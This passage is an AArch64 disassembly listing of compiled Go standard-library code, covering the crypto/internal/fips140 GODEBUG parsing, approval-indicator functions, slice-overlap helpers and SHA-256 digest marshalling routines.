    00511a48b 0x511a4c
    00511a4c
    00511a4cloc_511a4c:
    00511a4cadrp x27, 0x53a000
    00511a50ldrb w2, [x27+1548]
    00511a54tbnz w2, 0, 0x511a5c
    00511a58b 0x511ae4
    00511a5c
    00511a5cloc_511a5c:
    00511a5cldr x26, [sp+152]
    00511a60ldr x0, [x26]
    00511a64blr x0
    00511a68str x0, [sp+80]
    00511a6cstr x1, [sp+88]
    00511a70ldr x0, [sp+144]
    00511a74adrp x27, 0x510000
    00511a78ldr x1, [x27+3752]
    00511a7csubs xzr, x1, x0
    00511a80b.eq 0x511a88
    00511a84b 0x511ac4
    00511a88
    00511a88loc_511a88:
    00511a88ldr x0, [sp+136]
    00511a8cadrp x27, 0x510000
    00511a90ldr x1, [x27+3744]
    00511a94ldr x2, [sp+144]
    00511a98bl runtime.memequal
    00511a9ctbnz w0, 0, 0x511aa4
    00511aa0b 0x511ac0
    00511aa4
    00511aa4loc_511aa4:
    00511aa4adrp x0, 0x1a6000
    00511aa8add x0, x0, 1803
    00511aacmovz x1, 21
    00511ab0bl errors.New
    00511ab4str x0, [sp+80]
    00511ab8str x1, [sp+88]
    00511abcb 0x511ac8
    00511ac0
    00511ac0loc_511ac0:
    00511ac0b 0x511ac8
    00511ac4
    00511ac4loc_511ac4:
    00511ac4b 0x511ac8
    00511ac8
    00511ac8loc_511ac8:
    00511ac8ldr x0, [sp+80]
    00511accldr x1, [sp+88]
    00511ad0str x0, [sp+64]
    00511ad4str x1, [sp+72]
    00511ad8ldur x29, [sp-8]
    00511adcldr x30, [sp], 128
    00511ae0ret x30
    00511ae4
    00511ae4loc_511ae4:
    00511ae4stp xzr, xzr, [sp+64]
    00511ae8mov x0, xzr
    00511aecmov x1, xzr
    00511af0ldur x29, [sp-8]
    00511af4ldr x30, [sp], 128
    00511af8ret x30
    00511afc
    00511afcloc_511afc:
    00511afcldr x3, [sp+136]
    00511b00ldr x4, [sp+144]
    00511b04mov x0, xzr
    00511b08adrp x1, 0x1ac000
    00511b0cadd x1, x1, 1492
    00511b10orr x2, xzr, 30
    00511b14bl runtime.concatstring2
    00511b18str x0, [sp+104]
    00511b1cstr x1, [sp+112]
    00511b20bl runtime.convTstring
    00511b24str x0, [sp+96]
    00511b28mov x1, x0
    00511b2cadrp x0, 0xe4000
    00511b30add x0, x0, 2944
    00511b34bl runtime.gopanic
    00511b38hint
    00511b3c
    00511b3cloc_511b3c:
    00511b3cstp x0, x1, [sp+8]
    00511b40str x2, [sp+24]
    00511b44mov x3, x30
    00511b48bl runtime.morestack_noctxt.abi0
    00511b4cldp x0, x1, [sp+8]
    00511b50ldr x2, [sp+24]
    00511b54b 0x511a00
    00511b58udf 0
    00511b5cudf 0
    00511a00
    00511b60
    00511b60crypto/internal/fips140.init.0: ; void crypto/internal/fips140.init.0(void)
    00511b60ldr x16, [x28+16]
    00511b64subs xzr, sp, x16
    00511b68b.ls 0x511f04
    00511b6cstr x30, [sp-112]!
    00511b70stur x29, [sp-8]
    00511b74sub x29, sp, 8
    00511b78adrp x0, 0x1a0000
    00511b7cadd x0, x0, 2004
    00511b80orr x1, xzr, 8
    00511b84bl crypto/internal/fips140deps/godebug.Value
    00511b88str x0, [sp+48]
    00511b8cstr x1, [sp+56]
    00511b90str x0, [sp+88]
    00511b94str x1, [sp+96]
    00511b98b 0x511b9c
    00511b9c
    00511b9cloc_511b9c:
    00511b9csubs xzr, x1, 2
    00511ba0b.le 0x511ba8
    00511ba4b 0x511c1c
    00511ba8
    00511ba8loc_511ba8:
    00511ba8cbz x1, 0x511bb0
    00511bacb 0x511bc0
    00511bb0
    00511bb0loc_511bb0:
    00511bb0b 0x511bb4
    00511bb4
    00511bb4loc_511bb4:
    00511bb4cbz x1, 0x511bbc
    00511bb8b 0x511f00
    00511bbc
    00511bbcloc_511bbc:
    00511bbcb 0x511c94
    00511bc0
    00511bc0loc_511bc0:
    00511bc0subs xzr, x1, 2
    00511bc4b.eq 0x511bcc
    00511bc8b 0x511ef8
    00511bcc
    00511bccloc_511bcc:
    00511bccb 0x511bd0
    00511bd0
    00511bd0loc_511bd0:
    00511bd0subs xzr, x1, 2
    00511bd4b.eq 0x511bdc
    00511bd8b 0x511ef4
    00511bdc
    00511bdcloc_511bdc:
    00511bdcsubs xzr, x1, 0
    00511be0b.hi 0x511be8
    00511be4b 0x511eec
    00511be8
    00511be8loc_511be8:
    00511be8ldrb w5, [x0]
    00511becsubs xzr, x1, 1
    00511bf0b.hi 0x511bf8
    00511bf4b 0x511ee4
    00511bf8
    00511bf8loc_511bf8:
    00511bf8ldrb w6, [x0+1]
    00511bfcubfm x6, x6, 56, 7
    00511c00orr x5, x5, x6
    00511c04ubfm x5, x5, 0, 15
    00511c08movz x6, 28271
    00511c0csubs wzr, w5, w6
    00511c10b.eq 0x511c18
    00511c14b 0x511edc
    00511c18
    00511c18loc_511c18:
    00511c18b 0x511d24
    00511c1c
    00511c1cloc_511c1c:
    00511c1csubs xzr, x1, 3
    00511c20b.eq 0x511c28
    00511c24b 0x511c98
    00511c28
    00511c28loc_511c28:
    00511c28b 0x511c2c
    00511c2c
    00511c2cloc_511c2c:
    00511c2csubs xzr, x1, 3
    00511c30b.eq 0x511c38
    00511c34b 0x511ed8
    00511c38
    00511c38loc_511c38:
    00511c38subs xzr, x1, 0
    00511c3cb.hi 0x511c44
    00511c40b 0x511ed0
    00511c44
    00511c44loc_511c44:
    00511c44ldrb w5, [x0]
    00511c48subs xzr, x1, 1
    00511c4cb.hi 0x511c54
    00511c50b 0x511ec8
    00511c54
    00511c54loc_511c54:
    00511c54ldrb w6, [x0+1]
    00511c58ubfm x6, x6, 56, 7
    00511c5corr x5, x5, x6
    00511c60ubfm x5, x5, 0, 15
    00511c64movz x6, 26223
    00511c68subs wzr, w5, w6
    00511c6cb.eq 0x511c74
    00511c70b 0x511ec4
    00511c74
    00511c74loc_511c74:
    00511c74subs xzr, x1, 2
    00511c78b.hi 0x511c80
    00511c7cb 0x511ebc
    00511c80
    00511c80loc_511c80:
    00511c80ldrb w5, [x0+2]
    00511c84subs wzr, w5, 102
    00511c88b.eq 0x511c90
    00511c8cb 0x511eb4
    00511c90
    00511c90loc_511c90:
    00511c90b 0x511c94
    00511c94
    00511c94loc_511c94:
    00511c94b 0x511df4
    00511c98
    00511c98loc_511c98:
    00511c98subs xzr, x1, 4
    00511c9cb.eq 0x511ca4
    00511ca0b 0x511d34
    00511ca4
    00511ca4loc_511ca4:
    00511ca4b 0x511ca8
    00511ca8
    00511ca8loc_511ca8:
    00511ca8subs xzr, x1, 4
    00511cacb.eq 0x511cb4
    00511cb0b 0x511eb0
    00511cb4
    00511cb4loc_511cb4:
    00511cb4subs xzr, x1, 0
    00511cb8b.hi 0x511cc0
    00511cbcb 0x511ea8
    00511cc0
    00511cc0loc_511cc0:
    00511cc0ldrb w5, [x0]
    00511cc4subs xzr, x1, 1
    00511cc8b.hi 0x511cd0
    00511cccb 0x511ea0
    00511cd0
    00511cd0loc_511cd0:
    00511cd0ldrb w6, [x0+1]
    00511cd4ubfm x6, x6, 56, 7
    00511cd8orr x5, x5, x6
    00511cdcsubs xzr, x1, 2
    00511ce0b.hi 0x511ce8
    00511ce4b 0x511e98
    00511ce8
    00511ce8loc_511ce8:
    00511ce8ldrb w6, [x0+2]
    00511cecubfm x6, x6, 48, 7
    00511cf0orr x5, x5, x6
    00511cf4subs xzr, x1, 3
    00511cf8b.hi 0x511d00
    00511cfcb 0x511e90
    00511d00
    00511d00loc_511d00:
    00511d00ldrb w6, [x0+3]
    00511d04ubfm x6, x6, 40, 7
    00511d08orr x5, x5, x6
    00511d0cmovz x6, 28271
    00511d10movk x6, 0x796c0000
    00511d14subs wzr, w5, w6
    00511d18b.eq 0x511d20
    00511d1cb 0x511e88
    00511d20
    00511d20loc_511d20:
    00511d20b 0x511d24
    00511d24
    00511d24loc_511d24:
    00511d24orr x0, xzr, 1
    00511d28adrp x27, 0x53a000
    00511d2cstrb w0, [x27+1548]
    00511d30b 0x511df4
    00511d34
    00511d34loc_511d34:
    00511d34subs xzr, x1, 5
    00511d38b.eq 0x511d40
    00511d3cb 0x511e78
    00511d40
    00511d40loc_511d40:
    00511d40b 0x511d44
    00511d44
    00511d44loc_511d44:
    00511d44subs xzr, x1, 5
    00511d48b.eq 0x511d50
    00511d4cb 0x511e74
    00511d50
    00511d50loc_511d50:
    00511d50subs xzr, x1, 0
    00511d54b.hi 0x511d5c
    00511d58b 0x511e6c
    00511d5c
    00511d5cloc_511d5c:
    00511d5cldrb w5, [x0]
    00511d60subs xzr, x1, 1
    00511d64b.hi 0x511d6c
    00511d68b 0x511e64
    00511d6c
    00511d6cloc_511d6c:
    00511d6cldrb w6, [x0+1]
    00511d70ubfm x6, x6, 56, 7
    00511d74orr x5, x5, x6
    00511d78subs xzr, x1, 2
    00511d7cb.hi 0x511d84
    00511d80b 0x511e5c
    00511d84
    00511d84loc_511d84:
    00511d84ldrb w6, [x0+2]
    00511d88ubfm x6, x6, 48, 7
    00511d8corr x5, x5, x6
    00511d90subs xzr, x1, 3
    00511d94b.hi 0x511d9c
    00511d98b 0x511e54
    00511d9c
    00511d9cloc_511d9c:
    00511d9cldrb w6, [x0+3]
    00511da0ubfm x6, x6, 40, 7
    00511da4orr x5, x5, x6
    00511da8movz x6, 25956
    00511dacmovk x6, 0x75620000
    00511db0subs wzr, w5, w6
    00511db4b.eq 0x511dbc
    00511db8b 0x511e50
    00511dbc
    00511dbcloc_511dbc:
    00511dbcsubs xzr, x1, 4
    00511dc0b.hi 0x511dc8
    00511dc4b 0x511e48
    00511dc8
    00511dc8loc_511dc8:
    00511dc8ldrb w5, [x0+4]
    00511dccsubs wzr, w5, 103
    00511dd0b.eq 0x511dd8
    00511dd4b 0x511e00
    00511dd8
    00511dd8loc_511dd8:
    00511dd8b 0x511ddc
    00511ddc
    00511ddcloc_511ddc:
    00511ddcorr x0, xzr, 1
    00511de0adrp x27, 0x53a000
    00511de4strb w0, [x27+1548]
    00511de8adrp x27, 0x53a000
    00511decstrb w0, [x27+1549]
    00511df0b 0x511df4
    00511df4
    00511df4loc_511df4:
    00511df4ldur x29, [sp-8]
    00511df8ldr x30, [sp], 112
    00511dfcret x30
    00511e00
    00511e00loc_511e00:
    00511e00b 0x511e04
    00511e04
    00511e04loc_511e04:
    00511e04b 0x511e08
    00511e08
    00511e08loc_511e08:
    00511e08b 0x511e0c
    00511e0c
    00511e0cloc_511e0c:
    00511e0cldr x3, [sp+48]
    00511e10ldr x4, [sp+56]
    00511e14mov x0, xzr
    00511e18adrp x1, 0x1b4000
    00511e1cadd x1, x1, 203
    00511e20movz x2, 41
    00511e24bl runtime.concatstring2
    00511e28str x0, [sp+72]
    00511e2cstr x1, [sp+80]
    00511e30bl runtime.convTstring
    00511e34str x0, [sp+64]
    00511e38mov x1, x0
    00511e3cadrp x0, 0xe4000
    00511e40add x0, x0, 2944
    00511e44bl runtime.gopanic
    00511e48
    00511e48loc_511e48:
    00511e48orr x0, xzr, 4
    00511e4cbl runtime.panicIndex
    00511e50
    00511e50loc_511e50:
    00511e50b 0x511e04
    00511e54
    00511e54loc_511e54:
    00511e54orr x0, xzr, 3
    00511e58bl runtime.panicIndex
    00511e5c
    00511e5cloc_511e5c:
    00511e5corr x0, xzr, 2
    00511e60bl runtime.panicIndex
    00511e64
    00511e64loc_511e64:
    00511e64orr x0, xzr, 1
    00511e68bl runtime.panicIndex
    00511e6c
    00511e6cloc_511e6c:
    00511e6cmov x0, xzr
    00511e70bl runtime.panicIndex
    00511e74
    00511e74loc_511e74:
    00511e74b 0x511e04
    00511e78
    00511e78loc_511e78:
    00511e78b 0x511e7c
    00511e7c
    00511e7cloc_511e7c:
    00511e7cb 0x511e80
    00511e80
    00511e80loc_511e80:
    00511e80b 0x511e84
    00511e84
    00511e84loc_511e84:
    00511e84b 0x511e08
    00511e88
    00511e88loc_511e88:
    00511e88b 0x511e8c
    00511e8c
    00511e8cloc_511e8c:
    00511e8cb 0x511e08
    00511e90
    00511e90loc_511e90:
    00511e90orr x0, xzr, 3
    00511e94bl runtime.panicIndex
    00511e98
    00511e98loc_511e98:
    00511e98orr x0, xzr, 2
    00511e9cbl runtime.panicIndex
    00511ea0
    00511ea0loc_511ea0:
    00511ea0orr x0, xzr, 1
    00511ea4bl runtime.panicIndex
    00511ea8
    00511ea8loc_511ea8:
    00511ea8mov x0, xzr
    00511eacbl runtime.panicIndex
    00511eb0
    00511eb0loc_511eb0:
    00511eb0b 0x511e8c
    00511eb4
    00511eb4loc_511eb4:
    00511eb4b 0x511eb8
    00511eb8
    00511eb8loc_511eb8:
    00511eb8b 0x511e08
    00511ebc
    00511ebcloc_511ebc:
    00511ebcorr x0, xzr, 2
    00511ec0bl runtime.panicIndex
    00511ec4
    00511ec4loc_511ec4:
    00511ec4b 0x511eb8
    00511ec8
    00511ec8loc_511ec8:
    00511ec8orr x0, xzr, 1
    00511eccbl runtime.panicIndex
    00511ed0
    00511ed0loc_511ed0:
    00511ed0mov x0, xzr
    00511ed4bl runtime.panicIndex
    00511ed8
    00511ed8loc_511ed8:
    00511ed8b 0x511eb8
    00511edc
    00511edcloc_511edc:
    00511edcb 0x511ee0
    00511ee0
    00511ee0loc_511ee0:
    00511ee0b 0x511e08
    00511ee4
    00511ee4loc_511ee4:
    00511ee4orr x0, xzr, 1
    00511ee8bl runtime.panicIndex
    00511eec
    00511eecloc_511eec:
    00511eecmov x0, xzr
    00511ef0bl runtime.panicIndex
    00511ef4
    00511ef4loc_511ef4:
    00511ef4b 0x511ee0
    00511ef8
    00511ef8loc_511ef8:
    00511ef8b 0x511efc
    00511efc
    00511efcloc_511efc:
    00511efcb 0x511e84
    00511f00
    00511f00loc_511f00:
    00511f00b 0x511e08
    00511f04
    00511f04loc_511f04:
    00511f04mov x3, x30
    00511f08bl runtime.morestack_noctxt.abi0
    00511f0cb 0x511b60
    00511b60
    00511f10
    00511f10crypto/internal/fips140.Supported: ; void crypto/internal/fips140.Supported(void)
    00511f10str x30, [sp-32]!
    00511f14stur x29, [sp-8]
    00511f18sub x29, sp, 8
    00511f1cstp xzr, xzr, [sp+8]
    00511f20b 0x511f24
    00511f24
    00511f24loc_511f24:
    00511f24stp xzr, xzr, [sp+8]
    00511f28mov x0, xzr
    00511f2cmov x1, xzr
    00511f30add x29, sp, 24
    00511f34add sp, sp, 32
    00511f38ret x30
    00511f3cudf 0
    00511f10
    00511f40
    00511f40crypto/internal/fips140.RecordApproved: ; void crypto/internal/fips140.RecordApproved(void)
    00511f40ldr x16, [x28+16]
    00511f44subs xzr, sp, x16
    00511f48b.ls 0x511f88
    00511f4cstr x30, [sp-32]!
    00511f50stur x29, [sp-8]
    00511f54sub x29, sp, 8
    00511f58bl crypto/internal/fips140.getIndicator
    00511f5cstrb w0, [sp+23]
    00511f60ubfm x0, x0, 0, 7
    00511f64cbz w0, 0x511f6c
    00511f68b 0x511f78
    00511f6c
    00511f6cloc_511f6c:
    00511f6corr x0, xzr, 2
    00511f70bl crypto/internal/fips140.setIndicator
    00511f74b 0x511f7c
    00511f78
    00511f78loc_511f78:
    00511f78b 0x511f7c
    00511f7c
    00511f7cloc_511f7c:
    00511f7cldur x29, [sp-8]
    00511f80ldr x30, [sp], 32
    00511f84ret x30
    00511f88
    00511f88loc_511f88:
    00511f88mov x3, x30
    00511f8cbl runtime.morestack_noctxt.abi0
    00511f90b 0x511f40
    00511f94udf 0
    00511f98udf 0
    00511f9cudf 0
    00511f40
    00511fa0
    00511fa0crypto/internal/fips140.RecordNonApproved: ; void crypto/internal/fips140.RecordNonApproved(void)
    00511fa0ldr x16, [x28+16]
    00511fa4subs xzr, sp, x16
    00511fa8b.ls 0x511fcc
    00511facstr x30, [sp-32]!
    00511fb0stur x29, [sp-8]
    00511fb4sub x29, sp, 8
    00511fb8orr x0, xzr, 1
    00511fbcbl crypto/internal/fips140.setIndicator
    00511fc0ldur x29, [sp-8]
    00511fc4ldr x30, [sp], 32
    00511fc8ret x30
    00511fcc
    00511fccloc_511fcc:
    00511fccmov x3, x30
    00511fd0bl runtime.morestack_noctxt.abi0
    00511fd4b 0x511fa0
    00511fd8udf 0
    00511fdcudf 0
    00511fa0
    00511fe0
    00511fe0crypto/internal/fips140.Hash.Size: ; void crypto/internal/fips140.Hash.Size(crypto/internal/fips140.Hash p0)
    00511fe0ldr x16, [x28+16]
    00511fe4subs xzr, sp, x16
    00511fe8b.ls 0x512030
    00511fecstr x30, [sp-48]!
    00511ff0stur x29, [sp-8]
    00511ff4sub x29, sp, 8
    00511ff8ldr x16, [x28+32]
    00511ffccbnz x16, 0x512044
    00512000
    00512000loc_512000:
    00512000str x0, [sp+56]
    00512004str x1, [sp+64]
    00512008str xzr, [sp+24]
    0051200cldrsb x27, [x0]
    00512010ldr x2, [x0+40]
    00512014mov x0, x1
    00512018blr x2
    0051201cstr x0, [sp+32]
    00512020str x0, [sp+24]
    00512024ldur x29, [sp-8]
    00512028ldr x30, [sp], 48
    0051202cret x30
    00512030
    00512030loc_512030:
    00512030stp x0, x1, [sp+8]
    00512034mov x3, x30
    00512038bl runtime.morestack_noctxt.abi0
    0051203cldp x0, x1, [sp+8]
    00512040b 0x511fe0
    00512044
    00512044loc_512044:
    00512044ldr x17, [x16]
    00512048add x20, sp, 56
    0051204csubs xzr, x20, x17
    00512050b.ne 0x512000
    00512054add x20, sp, 8
    00512058str x20, [x16]
    0051205cb 0x512000
    00511fe0
    00512060
    00512060crypto/internal/fips140/alias.AnyOverlap: ; void crypto/internal/fips140/alias.AnyOverlap(struct []uint8 x, struct []uint8 y)
    00512060ldr x16, [x28+16]
    00512064subs xzr, sp, x16
    00512068b.ls 0x5121b4
    0051206cstr x30, [sp-64]!
    00512070stur x29, [sp-8]
    00512074sub x29, sp, 8
    00512078str x0, [sp+72]
    0051207cstr x1, [sp+80]
    00512080str x2, [sp+88]
    00512084str x3, [sp+96]
    00512088str x4, [sp+104]
    0051208cstr x5, [sp+112]
    00512090strb wzr, [sp+36]
    00512094ldr x2, [sp+80]
    00512098str x2, [sp+48]
    0051209csubs xzr, x2, 0
    005120a0cset x3, ne
    005120a4strb w3, [sp+37]
    005120a8cbnz x2, 0x5120b0
    005120acb 0x5120c8
    005120b0
    005120b0loc_5120b0:
    005120b0ldr x2, [sp+104]
    005120b4str x2, [sp+40]
    005120b8subs xzr, x2, 0
    005120bccset x2, ne
    005120c0strb w2, [sp+37]
    005120c4b 0x5120cc
    005120c8
    005120c8loc_5120c8:
    005120c8b 0x5120cc
    005120cc
    005120ccloc_5120cc:
    005120ccldrb w2, [sp+37]
    005120d0strb w2, [sp+38]
    005120d4tbnz w2, 0, 0x5120dc
    005120d8b 0x512124
    005120dc
    005120dcloc_5120dc:
    005120dcldr x2, [sp+104]
    005120e0str x2, [sp+40]
    005120e4ldr x1, [sp+80]
    005120e8ldr x3, [sp+72]
    005120ecsubs xzr, x1, 0
    005120f0b.hi 0x5120f8
    005120f4b 0x5121a8
    005120f8
    005120f8loc_5120f8:
    005120f8ldr x1, [sp+104]
    005120fcldr x4, [sp+96]
    00512100sub x0, x2, 1
    00512104subs xzr, x1, x0
    00512108b.hi 0x512110
    0051210cb 0x5121a4
    00512110
    00512110loc_512110:
    00512110add x2, x4, x0
    00512114subs xzr, x2, x3
    00512118cset x2, hs
    0051211cstrb w2, [sp+38]
    00512120b 0x512128
    00512124
    00512124loc_512124:
    00512124b 0x512128
    00512128
    00512128loc_512128:
    00512128ldrb w2, [sp+38]
    0051212cstrb w2, [sp+39]
    00512130tbnz w2, 0, 0x512138
    00512134b 0x512180
    00512138
    00512138loc_512138:
    00512138ldr x2, [sp+80]
    0051213cstr x2, [sp+40]
    00512140ldr x1, [sp+104]
    00512144ldr x3, [sp+96]
    00512148subs xzr, x1, 0
    0051214cb.hi 0x512154
    00512150b 0x51219c
    00512154
    00512154loc_512154:
    00512154ldr x1, [sp+80]
    00512158ldr x4, [sp+72]
    0051215csub x0, x2, 1
    00512160subs xzr, x1, x0
    00512164b.hi 0x51216c
    00512168b 0x512198
    0051216c
    0051216cloc_51216c:
    0051216cadd x1, x4, x0
    00512170subs xzr, x1, x3
    00512174cset x1, hs
    00512178strb w1, [sp+39]
    0051217cb 0x512184
    00512180
    00512180loc_512180:
    00512180b 0x512184
    00512184
    00512184loc_512184:
    00512184ldrb w0, [sp+39]
    00512188strb w0, [sp+36]
    0051218cldur x29, [sp-8]
    00512190ldr x30, [sp], 64
    00512194ret x30
    00512198
    00512198loc_512198:
    00512198bl runtime.panicIndex
    0051219c
    0051219cloc_51219c:
    0051219cmov x0, xzr
    005121a0bl runtime.panicIndex
    005121a4
    005121a4loc_5121a4:
    005121a4bl runtime.panicIndex
    005121a8
    005121a8loc_5121a8:
    005121a8mov x0, xzr
    005121acbl runtime.panicIndex
    005121b0hint
    005121b4
    005121b4loc_5121b4:
    005121b4stp x0, x1, [sp+8]
    005121b8stp x2, x3, [sp+24]
    005121bcstp x4, x5, [sp+40]
    005121c0mov x3, x30
    005121c4bl runtime.morestack_noctxt.abi0
    005121c8ldp x0, x1, [sp+8]
    005121ccldp x2, x3, [sp+24]
    005121d0ldp x4, x5, [sp+40]
    005121d4b 0x512060
    005121d8udf 0
    005121dcudf 0
    00512060
    005121e0
    005121e0crypto/internal/fips140/alias.InexactOverlap: ; void crypto/internal/fips140/alias.InexactOverlap(struct []uint8 x, struct []uint8 y)
    005121e0ldr x16, [x28+16]
    005121e4subs xzr, sp, x16
    005121e8b.ls 0x5122fc
    005121ecstr x30, [sp-96]!
    005121f0stur x29, [sp-8]
    005121f4sub x29, sp, 8
    005121f8str x0, [sp+104]
    005121fcstr x1, [sp+112]
    00512200str x2, [sp+120]
    00512204str x3, [sp+128]
    00512208str x4, [sp+136]
    0051220cstr x5, [sp+144]
    00512210strb wzr, [sp+69]
    00512214ldr x6, [sp+112]
    00512218str x6, [sp+80]
    0051221csubs xzr, x6, 0
    00512220cset x7, eq
    00512224strb w7, [sp+70]
    00512228cbz x6, 0x512230
    0051222cb 0x512234
    00512230
    00512230loc_512230:
    00512230b 0x51224c
    00512234
    00512234loc_512234:
    00512234ldr x6, [sp+136]
    00512238str x6, [sp+72]
    0051223csubs xzr, x6, 0
    00512240cset x6, eq
    00512244strb w6, [sp+70]
    00512248b 0x51224c
    0051224c
    0051224cloc_51224c:
    0051224cldrb w6, [sp+70]
    00512250strb w6, [sp+71]
    00512254tbnz w6, 0, 0x51225c
    00512258b 0x512260
    0051225c
    0051225cloc_51225c:
    0051225cb 0x512298
    00512260
    00512260loc_512260:
    00512260ldr x1, [sp+112]
    00512264ldr x6, [sp+104]
    00512268subs xzr, x1, 0
    0051226cb.hi 0x512274
    00512270b 0x5122f0
    00512274
    00512274loc_512274:
    00512274ldr x1, [sp+136]
    00512278ldr x7, [sp+128]
    0051227csubs xzr, x1, 0
    00512280b.hi 0x512288
    00512284b 0x5122e8
    00512288
    00512288loc_512288:
    00512288subs xzr, x7, x6
    0051228ccset x6, eq
    00512290strb w6, [sp+71]
    00512294b 0x512298
    00512298
    00512298loc_512298:
    00512298ldrb w6, [sp+71]
    0051229ctbnz w6, 0, 0x5122a4
    005122a0b 0x5122b8
    005122a4
    005122a4loc_5122a4:
    005122a4strb wzr, [sp+69]
    005122a8mov x0, xzr
    005122acldur x29, [sp-8]
    005122b0ldr x30, [sp], 96
    005122b4ret x30
    005122b8
    005122b8loc_5122b8:
    005122b8ldr x0, [sp+104]
    005122bcldr x3, [sp+128]
    005122c0ldr x1, [sp+112]
    005122c4ldr x4, [sp+136]
    005122c8ldr x2, [sp+120]
    005122ccldr x5, [sp+144]
    005122d0bl crypto/internal/fips140/alias.AnyOverlap
    005122d4strb w0, [sp+70]
    005122d8strb w0, [sp+69]
    005122dcldur x29, [sp-8]
    005122e0ldr x30, [sp], 96
    005122e4ret x30
    005122e8
    005122e8loc_5122e8:
    005122e8mov x0, xzr
    005122ecbl runtime.panicIndex
    005122f0
    005122f0loc_5122f0:
    005122f0mov x0, xzr
    005122f4bl runtime.panicIndex
    005122f8hint
    005122fc
    005122fcloc_5122fc:
    005122fcstp x0, x1, [sp+8]
    00512300stp x2, x3, [sp+24]
    00512304stp x4, x5, [sp+40]
    00512308mov x3, x30
    0051230cbl runtime.morestack_noctxt.abi0
    00512310ldp x0, x1, [sp+8]
    00512314ldp x2, x3, [sp+24]
    00512318ldp x4, x5, [sp+40]
    0051231cb 0x5121e0
    005121e0
    00512320
    00512320crypto/internal/fips140/sha256.init: ; void crypto/internal/fips140/sha256.init(void)
    00512320adrp x27, 0x539000
    00512324ldrb w0, [x27+1557]
    00512328adrp x27, 0x539000
    0051232cstrb w0, [x27+1547]
    00512330ret x30
    00512334udf 0
    00512338udf 0
    0051233cudf 0
    00512320
    00512340
    00512340crypto/internal/fips140/sha256.init.0: ; void crypto/internal/fips140/sha256.init.0(void)
    00512340ldr x16, [x28+16]
    00512344subs xzr, sp, x16
    00512348b.ls 0x51237c
    0051234cstr x30, [sp-48]!
    00512350stur x29, [sp-8]
    00512354sub x29, sp, 8
    00512358adrp x0, 0x19f000
    0051235cadd x0, x0, 1996
    00512360orr x1, xzr, 8
    00512364adrp x2, 0x1c7000
    00512368add x2, x2, 736
    0051236cbl crypto/internal/fips140.CAST
    00512370ldur x29, [sp-8]
    00512374ldr x30, [sp], 48
    00512378ret x30
    0051237c
    0051237cloc_51237c:
    0051237cmov x3, x30
    00512380bl runtime.morestack_noctxt.abi0
    00512384b 0x512340
    00512388udf 0
    0051238cudf 0
    00512340
    00512390
    00512390crypto/internal/fips140/sha256.(*Digest).MarshalBinary: ; void crypto/internal/fips140/sha256.(*Digest).MarshalBinary(crypto/internal/fips140/sha256.Digest * d)
    00512390ldr x16, [x28+16]
    00512394sub x17, sp, 64
    00512398subs xzr, x17, x16
    0051239cb.ls 0x51247c
    005123a0str x30, [sp-192]!
    005123a4stur x29, [sp-8]
    005123a8sub x29, sp, 8
    005123acstr x0, [sp+200]
    005123b0str xzr, [sp+56]
    005123b4stp xzr, xzr, [sp+64]
    005123b8stp xzr, xzr, [sp+40]
    005123bcadrp x0, 0xe3000
    005123c0add x0, x0, 3072
    005123c4mov x1, xzr
    005123c8movz x2, 108
    005123ccbl runtime.makeslice
    005123d0str x0, [sp+120]
    005123d4str xzr, [sp+128]
    005123d8movz x3, 108
    005123dcstr x3, [sp+136]
    005123e0str xzr, [sp+96]
    005123e4stp xzr, xzr, [sp+104]
    005123e8stp xzr, xzr, [sp+80]
    005123ecldr x0, [sp+200]
    005123f0ldr x1, [sp+120]
    005123f4ldr x2, [sp+128]
    005123f8ldr x3, [sp+136]
    005123fcbl crypto/internal/fips140/sha256.(*Digest).AppendBinary
    00512400str x0, [sp+96]
    00512404str x1, [sp+104]
    00512408str x2, [sp+112]
    0051240cstr x3, [sp+80]
    00512410str x4, [sp+88]
    00512414ldr x3, [sp+96]
    00512418ldr x4, [sp+104]
    0051241cldr x5, [sp+112]
    00512420str x3, [sp+160]
    00512424str x4, [sp+168]
    00512428str x5, [sp+176]
    0051242cldr x3, [sp+80]
    00512430ldr x4, [sp+88]
    00512434str x3, [sp+144]
    00512438str x4, [sp+152]
    0051243cldr x3, [sp+160]
    00512440ldr x4, [sp+168]
    00512444ldr x5, [sp+176]
    00512448str x3, [sp+56]
    0051244cstr x4, [sp+64]
    00512450str x5, [sp+72]
    00512454ldr x3, [sp+144]
    00512458ldr x4, [sp+152]
    0051245cstr x3, [sp+40]
    00512460str x4, [sp+48]
    00512464ldr x0, [sp+56]
    00512468ldr x1, [sp+64]
    0051246cldr x2, [sp+72]
    00512470ldur x29, [sp-8]
    00512474ldr x30, [sp], 192
    00512478ret x30
    0051247c
    0051247cloc_51247c:
    0051247cstr x0, [sp+8]
    00512480mov x3, x30
    00512484bl runtime.morestack_noctxt.abi0
    00512488ldr x0, [sp+8]
    0051248cb 0x512390
    00512390
    00512490
    00512490crypto/internal/fips140/sha256.(*Digest).AppendBinary: ; void crypto/internal/fips140/sha256.(*Digest).AppendBinary(crypto/internal/fips140/sha256.Digest * d, struct []uint8 b)
    00512490ldr x16, [x28+16]
    00512494sub x17, sp, 240
    00512498subs xzr, x17, x16
    0051249cb.ls 0x512988
    005124a0sub x20, sp, 368
    005124a4stp x29, x30, [x20-8]
    005124a8add sp, x20, 0
    005124acsub x29, sp, 8
    005124b0str x0, [sp+376]
    005124b4str x1, [sp+384]
    005124b8str x2, [sp+392]
    005124bcstr x3, [sp+400]
    005124c0str xzr, [sp+184]
    005124c4stp xzr, xzr, [sp+192]
    005124c8stp xzr, xzr, [sp+168]
    005124ccldr x5, [sp+376]
    005124d0ldrsb x27, [x5]
    005124d4ldrb w5, [x5+112]
    005124d8tbnz w5, 0, 0x5124e0
    005124dcb 0x51257c
    005124e0
    005124e0loc_5124e0:
    005124e0ldr x2, [sp+400]
    005124e4ldr x0, [sp+384]
    005124e8ldr x5, [sp+392]
    005124ecadd x1, x5, 4
    005124f0str x0, [sp+216]
    005124f4str x5, [sp+224]
    005124f8str x2, [sp+232]
    005124fcstr x1, [sp+88]
    00512500subs xzr, x2, x1
    00512504b.hs 0x51250c
    00512508b 0x512514
    0051250c
    0051250cloc_51250c:
    0051250cstr x1, [sp+224]
    00512510b 0x512534
    00512514
    00512514loc_512514:
    00512514orr x3, xzr, 4
    00512518adrp x4, 0xe3000
    0051251cadd x4, x4, 3072
    00512520bl runtime.growslice
    00512524str x0, [sp+216]
    00512528str x1, [sp+224]
    0051252cstr x2, [sp+232]
    00512530b 0x512534
    00512534
    00512534loc_512534:
    00512534orr x3, xzr, 4
    00512538str x3, [sp+80]
    0051253cldr x3, [sp+88]
    00512540sub x3, x3, 4
